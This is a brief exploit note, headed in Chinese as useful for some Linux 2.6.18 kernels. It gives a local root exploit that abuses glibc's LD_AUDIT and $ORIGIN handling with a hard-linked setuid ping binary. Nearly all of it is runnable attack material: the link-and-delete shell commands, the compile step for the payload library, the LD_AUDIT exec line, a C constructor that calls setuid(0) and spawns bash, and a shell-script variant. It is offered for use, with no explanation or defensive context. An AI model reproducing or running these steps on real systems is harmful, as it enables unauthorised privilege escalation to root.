exp，对部分2.6.18*的有用

mkdir /tmp/exploit

ln /bin/ping /tmp/exploit/target

exec 3< /tmp/exploit/target

rm -rf /tmp/exploit/

gcc -w -fPIC -shared -o /tmp/exploit payload.c 

LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

void __attribute__((constructor)) init()  



{  



   setuid(0);  



   system("/bin/bash");  



}  

#!/bin/sh

unset LD_AUDIT

rm -r -f /var/tmp/exploit

mkdir /var/tmp/exploit

ln /bin/ping /var/tmp/exploit/target

exec 3< /var/tmp/exploit/target

ls -l /proc/$$/fd/3

rm -rf /var/tmp/exploit

ls -l /proc/$$/fd/3

cp xxx /var/tmp/exploit

LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

unset LD_AUDIT